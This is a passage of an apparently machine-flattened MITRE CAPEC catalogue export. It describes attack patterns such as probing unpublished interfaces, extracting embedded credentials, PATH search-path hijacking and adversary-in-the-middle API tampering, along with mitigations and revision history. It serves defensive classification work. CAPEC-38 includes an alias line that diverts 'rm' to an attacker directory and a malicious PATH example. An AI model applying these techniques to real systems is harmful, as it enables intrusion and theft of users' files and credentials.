Updated Description, Description Summary, Examples-Instances, Related_Attack_Patterns, Type (Attack_Pattern -> Relationship) + + + + + + + + + + + + #indModificationModification20215 + Modification_20215 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification20221 + Modification_20221 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification20227 + Modification_20227 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2023-01-24 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-36 + Using Unpublished Interfaces or Functionality + + + + + + + + + 36 + + + + + Using Unpublished Interfaces or Functionality + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary searches for and invokes interfaces or functionality that the target system designers did not intend to be publicly available. If interfaces fail to authenticate requests, the attacker may be able to invoke functionality they are not authorized for.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Adversaries can also search for undocumented bits on a hardware device, commonly known as "chicken bits". These bits are used to enable/disable certain functionality, but are not published. Adversaries can reverse engineer firmware to identify hidden features and change these bits at runtime to achieve malicious behavior.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20243 + Related_Attack_Pattern_20243 + + + + + + + + + + + + + + 113 + + + + + + + + + + + + #indAttackStepAttackStep20246 + Attack_Step_20246 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify services] Discover a service of interest by exploring service registry listings or by connecting on a known port or some similar means.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search via internet for known, published services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use automated tools to scan known ports to identify internet-enabled services.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Dump the code from the chip and then perform reverse engineering to analyze the code.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20254 + Attack_Step_20254 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Authenticate to service] Authenticate to the service, if required, in order to explore it.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use published credentials to access system.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Find unpublished credentials to access service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use other attack pattern or weakness to bypass authentication.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20262 + Attack_Step_20262 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify all interfaces] Determine the exposed interfaces by querying the registry as well as probably sniffing to expose interfaces that are not explicitly listed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For any published services, determine exposed interfaces via the documentation provided.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For any services found, use error messages from poorly formed service calls to determine valid interfaces. In some cases, services will respond to poorly formed calls with valid ones.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20269 + Attack_Step_20269 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Attempt to discover unpublished functions] Using manual or automated means, discover unpublished or undocumented functions exposed by the service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually attempt calls to the service using an educated guess approach, including the use of terms like' 'test', 'debug', 'delete', etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use automated tools to scan the service to attempt to reverse engineer exposed, but undocumented, features.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20276 + Attack_Step_20276 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit unpublished functions] Using information determined via experimentation, exploit the unpublished features of the service.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execute features that are not intended to be used by general system users.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Craft malicious calls to features not intended to be used by general system users that take advantage of security flaws found in the functions.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The architecture under attack must publish or otherwise make available services that clients can attach to, either in an unauthenticated fashion, or having obtained an authentication token elsewhere. The service need not be 'discoverable', but in the event it isn't it must have some way of being discovered by an attacker. This might include listening on a well-known port. Ultimately, the likelihood of exploit depends on discoverability of the vulnerable service.</xhtml:div> + + + + + + + + + + + + #indSkillSkill20288 + Skill_20288 + + + + + + + + + + + + + + A number of web service digging tools are available for free that help discover exposed web services and their interfaces. In the event that a web service is not listed, the attacker does not need to know much more in addition to the format of web service messages that they can sniff/monitor for. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack. Web service digging tools may be helpful.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence20294 + Consequence_20294 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence20298 + Consequence_20298 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Authenticating both services and their discovery, and protecting that authentication mechanism simply fixes the bulk of this problem. Protecting the authentication involves the standard means, including: 1) protecting the channel over which authentication occurs, 2) preventing the theft, forgery, or prediction of authentication credentials or the resultant tokens, or 3) subversion of password reset and the like.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To an extent, Google services (such as Google Maps) are all well-known examples. Calling these services, or extending them for one's own (perhaps very different) purposes is as easy as knowing they exist. Their unencumbered public use, however, is a purposeful aspect of Google's business model. Most organizations, however, do not have the same business model. Organizations publishing services usually fall back on thoughts that Attackers "will not know services exist" and that "even if they did, they wouldn't be able to access them because they're not on the local LAN." Simple threat modeling exercises usually uncovers simple attack vectors that can invalidate these assumptions.</xhtml:div> + + + + + 306 + + + + + 693 + + + + + 695 + + + + + 1242 + + + + + + + + + + + + #indContentHistoryContentHistory20317 + Content_History_20317 + + + + + + + + + + + + + + + + #indSubmissionSubmission20318 + Submission_20318 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20323 + Modification_20323 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-12-07 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary + + + + + + + + + + + + #indModificationModification20329 + Modification_20329 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Resources_Required + + + + + + + + + + + + #indModificationModification20335 + Modification_20335 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated @Name, Description, Execution_Flow, Related_Attack_Patterns, Related_Weaknesses, Skills_Required + + + + + + + + + + + + #indModificationModification20341 + Modification_20341 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated @Name, Description, Execution_Flow, Extended_Description, Related_Attack_Patterns + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName20347 + Previous_Entry_Name_20347 + + + + + + + + + 2015-12-07 + + + + + Using Unpublished Web Service APIs + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName20348 + Previous_Entry_Name_20348 + + + + + + + + + 2020-07-30 + + + + + Using Unpublished APIs + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName20349 + Previous_Entry_Name_20349 + + + + + + + + + 2022-09-29 + + + + + Using Unpublished Interfaces + + + + + + + + + + + + #CAPEC-37 + Retrieve Embedded Sensitive Data + + + + + + + + + 37 + + + + + Retrieve Embedded Sensitive Data + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker examines a target system to find sensitive data that has been embedded within it. This information can reveal confidential contents, such as account numbers or individual keys/credentials that can be used as an intermediate step in a larger attack.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20358 + Related_Attack_Pattern_20358 + + + + + + + + + + + + + + 167 + + + + + + + + + + + + #indAttackStepAttackStep20361 + Attack_Step_20361 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify Target] Attacker identifies client components to extract information from. These may be binary executables, class files, shared libraries (e.g., DLLs), configuration files, or other system files.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Binary file extraction. The attacker extracts binary files from zips, jars, wars, PDFs or other composite formats.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Package listing. The attacker uses a package manifest provided with the software installer, or the filesystem itself, to identify component files suitable for attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep20368 + Attack_Step_20368 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Retrieve Embedded Data] The attacker then uses a variety of techniques, such as sniffing, reverse-engineering, and cryptanalysis to retrieve the information of interest.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">API Profiling. The attacker monitors the software's use of registry keys or other operating system-provided storage locations that can contain sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Execution in simulator. The attacker physically removes mass storage from the system and explores it using a simulator, external system, or other debugging harness.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Common decoding methods. The attacker applies methods to decode such encodings and compressions as Base64, unzip, unrar, RLE decoding, gzip decompression and so on.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Common data typing. The attacker looks for common file signatures for well-known file types (JPEG, TIFF, ASN.1, LDIF, etc.). If the signatures match, they attempt decoding in that format.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In order to feasibly execute this type of attack, some valuable data must be present in client software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Additionally, this information must be unprotected, or protected in a flawed fashion, or through a mechanism that fails to resist reverse engineering, statistical, or other attack.</xhtml:div> + + + + + + + + + + + + #indSkillSkill20383 + Skill_20383 + + + + + + + + + + + + + + The attacker must possess knowledge of client code structure as well as ability to reverse-engineer or decompile it or probe it in other ways. This knowledge is specific to the technology and language used for the client distribution + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must possess access to the system or code being exploited. Such access, for this set of attacks, will likely be physical. The attacker will make use of reverse engineering technologies, perhaps for data or to extract functionality from the binary. Such tool use may be as simple as "Strings" or a hex editor. Removing functionality may require the use of only a hex editor, or may require aspects of the toolchain used to construct the application: for instance the Adobe Flash development environment. Attacks of this nature do not require network access or undue CPU, memory, or other hardware-based resources.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence20389 + Consequence_20389 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence20393 + Consequence_20393 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence20397 + Consequence_20397 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Using a tool such as 'strings' or similar to pull out text data, perhaps part of a database table, that extends beyond what a particular user's purview should be.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker can also use a decompiler to decompile a downloaded Java applet in order to look for information such as hardcoded IP addresses, file paths, passwords or other such contents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker uses a tool such as a browser plug-in to pull cookie or other token information that, from a previous user at the same machine (perhaps a kiosk), allows the attacker to log in as the previous user.</xhtml:div> + + + + + 226 + + + + + 311 + + + + + 525 + + + + + 312 + + + + + 314 + + + + + 315 + + + + + 318 + + + + + 1239 + + + + + 1258 + + + + + 1266 + + + + + 1272 + + + + + 1278 + + + + + 1301 + + + + + 1330 + + + + + + + + + + + + #indTaxonomyMappingDataFromLocalSystem + Data from Local System + + + + + + + + + + + + + + 1005 + + + + + Data from Local System + + + + + + + + + + + + #indTaxonomyMappingUnsecuredCredentialsPrivateKeys + Unsecured Credentials: Private Keys + + + + + + + + + + + + + + 1552.004 + + + + + Unsecured Credentials: Private Keys + + + + + + + + + + + + #indContentHistoryContentHistory20435 + Content_History_20435 + + + + + + + + + + + + + + + + #indSubmissionSubmission20436 + Submission_20436 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20441 + Modification_20441 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2015-11-09 + + + + + Updated Activation_Zone, Attack_Phases, Attack_Prerequisites, Description Summary, Injection_Vector, Payload, Payload_Activation_Impact, Related_Vulnerabilities, Resources_Required + + + + + + + + + + + + #indModificationModification20447 + Modification_20447 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Execution_Flow, Related_Weaknesses, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification20453 + Modification_20453 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification20459 + Modification_20459 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification20465 + Modification_20465 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification20471 + Modification_20471 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName20477 + Previous_Entry_Name_20477 + + + + + + + + + 2015-11-09 + + + + + Lifting Data Embedded in Client Distributions + + + + + + + + + + + + #CAPEC-38 + Leveraging/Manipulating Configuration File Search Paths + + + + + + + + + 38 + + + + + Leveraging/Manipulating Configuration File Search Paths + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This pattern of attack sees an adversary load a malicious resource into a program's standard path so that when a known command is executed then the system instead executes the malicious component. The adversary can either modify the search path a program uses, like a PATH variable or classpath, or they can manipulate resources on the path to point to their malicious components. J2EE applications and other component based applications that are built from multiple binaries can have very long list of dependencies to execute. If one of these libraries and/or references is controllable by the attacker then application controls can be circumvented by the attacker.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20487 + Related_Attack_Pattern_20487 + + + + + + + + + + + + + + 159 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to write to redirect search paths on the victim host.</xhtml:div> + + + + + + + + + + + + #indSkillSkill20493 + Skill_20493 + + + + + + + + + + + + + + To identify and execute against an over-privileged system interface + + + + + + + + + + + + #indConsequenceConsequence20496 + Consequence_20496 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence20503 + Consequence_20503 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Enforce principle of least privilege</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Design: Ensure that the program's compound parts, including all system dependencies, classpath, path, and so on, are secured to the same or higher level assurance as the program</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Host integrity monitoring</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Another method is to redirect commands by aliasing one legitimate command to another to create unexpected results. the Unix command "rm" could be aliased to "mv" and move all files the victim thinks they are deleting to a directory the attacker controls. In a Unix shell .profile setting&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;alias rm=mv /usr/home/attacker&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In this case the attacker retains a copy of all the files the victim attempts to remove.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;A standard UNIX path looks similar to this&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;If the attacker modifies the path variable to point to a locale that includes malicious resources then the user unwittingly can execute commands on the attackers' behalf:&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="informative"&gt;/evildir/bin:/sbin:/usr/bin:/usr/local/bin:/usr/sbin&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This is a form of usurping control of the program and the attack can be done on the classpath, database resources, or any other resources built from compound parts. At runtime detection and blocking of this attack is nearly impossible, because the configuration allows execution.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 426 + + + + + 427 + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowPathInterceptionByPATHEnvironmentVariable + Hijack Execution Flow: Path Interception by PATH Environment Variable + + + + + + + + + + + + + + 1574.007 + + + + + Hijack Execution Flow: Path Interception by PATH Environment Variable + + + + + + + + + + + + #indTaxonomyMappingHijackExecutionFlowPathInterceptionByUnquotedPath + Hijack Execution Flow: Path Interception by Unquoted Path + + + + + + + + + + + + + + 1574.009 + + + + + Hijack Execution Flow: Path Interception by Unquoted Path + + + + + + + + + + + + #indReferenceReference20544 + Reference_20544 + + + + + + + + + REF-1 + + + + + + + + + + + + #indContentHistoryContentHistory20546 + Content_History_20546 + + + + + + + + + + + + + + + + #indSubmissionSubmission20547 + Submission_20547 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20552 + Modification_20552 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Description, Description Summary, Examples-Instances, Related_Weaknesses + + + + + + + + + + + + #indModificationModification20558 + Modification_20558 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification20564 + Modification_20564 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification20570 + Modification_20570 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-383 + Harvesting Information via API Event Monitoring + + + + + + + + + 383 + + + + + Harvesting Information via API Event Monitoring + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary hosts an event within an application framework and then monitors the data exchanged during the course of the event for the purpose of harvesting any important data leaked during the transactions. One example could be harvesting lists of usernames or userIDs for the purpose of sending spam messages to those users. One example of this type of attack involves the adversary creating an event within the sub-application. Assume the adversary hosts a "virtual sale" of rare items. As other users enter the event, the attacker records via AiTM (CAPEC-94) proxy the user_ids and usernames of everyone who attends. The adversary would then be able to spam those users within the application using an automated script.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20584 + Related_Attack_Pattern_20584 + + + + + + + + + + + + + + 407 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20585 + Related_Attack_Pattern_20585 + + + + + + + + + + + + + + 94 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target software is utilizing application framework APIs</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence20591 + Consequence_20591 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary is able to gather information to potentially support further nefarious activities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage encryption techniques during information transactions so as to protect them from attack patterns of this kind.</xhtml:div> + + + + + 311 + + + + + 319 + + + + + 419 + + + + + 602 + + + + + + + + + + + + #indTaxonomyMappingInputCaptureCredentialAPIHooking + Input Capture: Credential API Hooking + + + + + + + + + + + + + + 1056.004 + + + + + Input Capture: Credential API Hooking + + + + + + + + + + + + #indReferenceReference20613 + Reference_20613 + + + + + + + + + REF-327 + + + + + + + + + + + + #indContentHistoryContentHistory20615 + Content_History_20615 + + + + + + + + + + + + + + + + #indSubmissionSubmission20616 + Submission_20616 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20621 + Modification_20621 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Attack_Motivation-Consequences, Attack_Prerequisites, Description Summary, Related_Attack_Patterns, Resources_Required, Solutions_and_Mitigations + + + + + + + + + + + + #indModificationModification20627 + Modification_20627 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification20633 + Modification_20633 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification20639 + Modification_20639 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification20645 + Modification_20645 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indPreviousEntryNamePreviousEntryName20651 + Previous_Entry_Name_20651 + + + + + + + + + 2018-07-31 + + + + + Harvesting Usernames or UserIDs via Application API Event Monitoring + + + + + + + + + + + + #CAPEC-384 + Application API Message Manipulation via Man-in-the-Middle + + + + + + + + + 384 + + + + + Application API Message Manipulation via Man-in-the-Middle + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates either egress or ingress data from a client within an application framework in order to change the content of messages. Performing this attack can allow the attacker to gain unauthorized privileges within the application, or conduct attacks such as phishing, deceptive strategies to spread malware, or traditional web-application attacks. The techniques require use of specialized software that allow the attacker to perform adversary-in-the-middle (CAPEC-94) communications between the web browser and the remote system. Despite the use of AiTH software, the attack is actually directed at the server, as the client is one node in a series of content brokers that pass information along to the application framework. Additionally, it is not true "Adversary-in-the-Middle" attack at the network layer, but an application-layer attack the root cause of which is the master applications trust in the integrity of code supplied by the client.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20660 + Related_Attack_Pattern_20660 + + + + + + + + + + + + + + 94 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software is utilizing application framework APIs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A software program that allows a user to man-in-the-middle communications between the client and server, such as a man-in-the-middle proxy.</xhtml:div> + + + + + 471 + + + + + 345 + + + + + 346 + + + + + 602 + + + + + 311 + + + + + + + + + + + + #indReferenceReference20676 + Reference_20676 + + + + + + + + + REF-327 + + + + + + + + + + + + #indContentHistoryContentHistory20678 + Content_History_20678 + + + + + + + + + + + + + + + + #indSubmissionSubmission20679 + Submission_20679 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20684 + Modification_20684 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification20690 + Modification_20690 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #CAPEC-385 + Transaction or Event Tampering via Application API Manipulation + + + + + + + + + 385 + + + + + Transaction or Event Tampering via Application API Manipulation + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker hosts or joins an event or transaction within an application framework in order to change the content of messages or items that are being exchanged. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that look authentic but may contain deceptive links, substitute one item or another, spoof an existing item and conduct a false exchange, or otherwise change the amounts or identity of what is being exchanged. The techniques require use of specialized software that allow the attacker to man-in-the-middle communications between the web browser and the remote system in order to change the content of various application elements. Often, items exchanged in game can be monetized via sales for coin, virtual dollars, etc. The purpose of the attack is for the attack to scam the victim by trapping the data packets involved the exchange and altering the integrity of the transfer process.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20704 + Related_Attack_Pattern_20704 + + + + + + + + + + + + + + 384 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software is utilizing application framework APIs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A software program that allows the use of adversary-in-the-middle communications (CAPEC-94) between the client and server, such as a man-in-the-middle proxy.</xhtml:div> + + + + + 471 + + + + + 345 + + + + + 346 + + + + + 602 + + + + + 311 + + + + + + + + + + + + #indReferenceReference20720 + Reference_20720 + + + + + + + + + REF-327 + + + + + + + + + + + + #indContentHistoryContentHistory20722 + Content_History_20722 + + + + + + + + + + + + + + + + #indSubmissionSubmission20723 + Submission_20723 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification20728 + Modification_20728 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-09-30 + + + + + Updated @Abstraction + + + + + + + + + + + + #indModificationModification20734 + Modification_20734 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Resources_Required + + + + + + + + + + + + #CAPEC-386 + Application API Navigation Remapping + + + + + + + + + 386 + + + + + Application API Navigation Remapping + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker manipulates either egress or ingress data from a client within an application framework in order to change the destination and/or content of links/buttons displayed to a user within API messages. Performing this attack allows the attacker to manipulate content in such a way as to produce messages or content that looks authentic but contains links/buttons that point to an attacker controlled destination. Some applications make navigation remapping more difficult to detect because the actual HREF values of images, profile elements, and links/buttons are masked. One example would be to place an image in a user's photo gallery that when clicked upon redirected the user to an off-site location. Also, traditional web vulnerabilities (such as CSRF) can be constructed with remapped buttons or links. In some cases navigation remapping can be used for Phishing attacks or even means to artificially boost the page view, user site reputation, or click-fraud.</xhtml:div> + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern20747 + Related_Attack_Pattern_20747 + + + + + + + + + + + + + + 94 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Targeted software is utilizing application framework APIs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A software program that allows the use of adversary-in-the-middle (CAPEC-94) communications between the client and server, such as a man-in-the-middle proxy.</xhtml:div> + + + + + 471 + + + + + 345 + + + + 